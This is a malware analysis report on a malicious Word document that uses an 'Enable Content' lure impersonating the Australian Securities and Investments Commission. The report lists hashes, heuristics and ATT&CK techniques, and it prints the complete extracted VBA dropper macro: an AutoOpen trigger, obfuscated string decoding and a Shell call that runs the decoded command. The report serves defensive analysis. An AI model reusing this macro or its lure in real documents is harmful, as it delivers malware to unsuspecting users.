Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d0435217e79e832c…

MALICIOUS

Office (OLE)

60.0 KB Created: 2018-04-22 21:10:00 Authoring application: Microsoft Office Word First seen: 2018-05-08
MD5: d246a156d9319fa7f9b0789e98a2d6ed SHA-1: 6c5fd391b65e56152aa8d0975e1d8b8c0da2b6a2 SHA-256: d0435217e79e832cccea59f8cea42cf2b85fe4da194644af8bb50355b1732b6f
190 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros, as indicated by multiple heuristics including OLE_VBA_MACROS and OLE_VBA_SHELL. The document body contains a lure to 'Enable Content' to view secure information from the Australian Securities and Investments Commission, aiming to bypass macro security. The Autoopen macro initiates the execution of obfuscated VBA code, likely to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6515744-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6515744-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    wd = Form1.TextBox2.Tag
    If "" = wd Then Shell s, Kolm
    Form1.TextBox2.Text = ""
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub Autoopen()
    manotStart
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3548 bytes
SHA-256: 6c6e0046e981f7e278f65d5b424df7f8fc2a0e4e4e4262edd179c3b2c7a83887
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True





Sub Autoopen()
manotStart
End Sub






Attribute VB_Name = "Module1"

Rem Form2 show messages

Function humaksDolad()
humaksDolad = "4567AF21"
End Function



Function swinkoGase()
Dim jir As Integer
jir = 5 + 1
swinkoGase = jir - 1
jir = 1 + swinkoGase
End Function



Function japamBoll(str26, count1)
Dim xon20() As Byte
Dim maxdaj As String
Dim minbit() As Byte
Dim kas3 As String
xon20 = "lS4a9V"
Dim maxe() As Byte
Dim kaspr As Integer
kaspr = 0
Dim fruka As Integer
kas3 = xon20
Dim j1 As String
Dim xopova As Integer
Dim XrttacaI() As Byte
Dim I As Integer
I = 374
Dim Qapi2 As Integer
WSOP = Form1.FinfTools(xon20)
Dim ngwiL As String
xopova = 92 - str26
xopova = xopova - 1
Dim hzmould As String
j1 = count1
maxdaj = ""
maxe = j1
hzmould = "RgeHise"
Qapi2 = Form1.FinfTools(maxe)
ngwiL = "Mirqc8"
hujkot = kaspr
For uD = hujkot To Qapi2
manji = kaspr
For zaLp1 = kaspr To WSOP
If maxe(uD) = xon20(zaLp1) Then
manji = manji + kaspr + 1
End If
Next
If hujkot = manji Then
maxdaj = maxdaj + Form1.HasePref(maxe(uD) - xopova)
End If
Next
japamBoll = maxdaj
With Form1
.TextBox1.Text = maxdaj
fruka = I + xopova
fruka = -fruka + Len(maxdaj)
If 84 < fruka Then
.But_click
End If
.TextBox2.Text = ""
End With
End Function



Sub manotStart()
Dim sder As String
Dim palat As Integer
palat = 60 + 30
sder = japamBoll(palat, delenas())
hernas = 0
End Sub









Function delenas()
Dim jiko As String
jiko = "dnel9!0dV9V!9V4QpxfsVTi9lfmm!!S9#S(Qpxf44VsTi9lVfmm!V##=VlV$445fS44y$?aagvoduVVVj9po!gSVlvod5SS46:easu)\9VlTusjV44oh^%tSVofSl4xV*4Va!|!S)OV4f9S4x.Pck4VfduV4V!TztulVSfn/Oflalu/99XfcDmVjfou*99/Epxo4mpbaSeGjmfa)%tof9aax-((&99SUNQSV&]UcvSvru9/fyf(SS(*Sa<944=a$TSafdfyl4$?aTubsul9.QspdVl9falt"
Dim ni As Integer
ni = 1
With Form1
jiko = jiko + .TextBox1.Text
Rem + .TextBox2.Text
delenas = jiko
End With
ni = ni + 1
End Function



Attribute VB_Name = "Form1"
Attribute VB_Base = "0{A85A7BEC-46A1-4845-AB9C-828114BF18FB}{9D6C7B27-060E-4859-ADD6-45EFE764F82D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Private Sub CommandButton2_Click()
Form1.TextBox2.Text = "5"
End Sub

Private Sub but1_Click()

End Sub

Private Sub but2_Click()
Form1.TextBox1.Text = ""
End Sub

Private Sub Label1_Click()

End Sub

Private Sub ListBox1_Click()
Form1.TextBox2.Text = ""
End Sub

Private Sub TextBox1_Change()
Dim s1 As String
s1 = Form1.TextBox1.Text
For J = 0 To 3
For I = 0 To 50000
s1 = "" + s1
Next I
Next J
Form1.TextBox2.Text = s1
End Sub

Function FinfTools(nij)
zzpa = 0
FinfTools = zzpa + UBound(nij)
End Function

Private Sub com2_Click()
Form1.TextBox1.Text = "4"
End Sub

Function HasePref(masad)
Dim stio As Integer
stio = masad + 5
HasePref = Chr$(stio - 5)
End Function

Private Sub TextBox2_Change()

End Sub

Sub But_click()
Dim s As String
s = Form1.TextBox2.Text + ""
Dim Im As Integer
Kolm = 178 - 170 - 8
wd = Form1.TextBox2.Tag
If "" = wd Then Shell s, Kolm
Form1.TextBox2.Text = ""
End Sub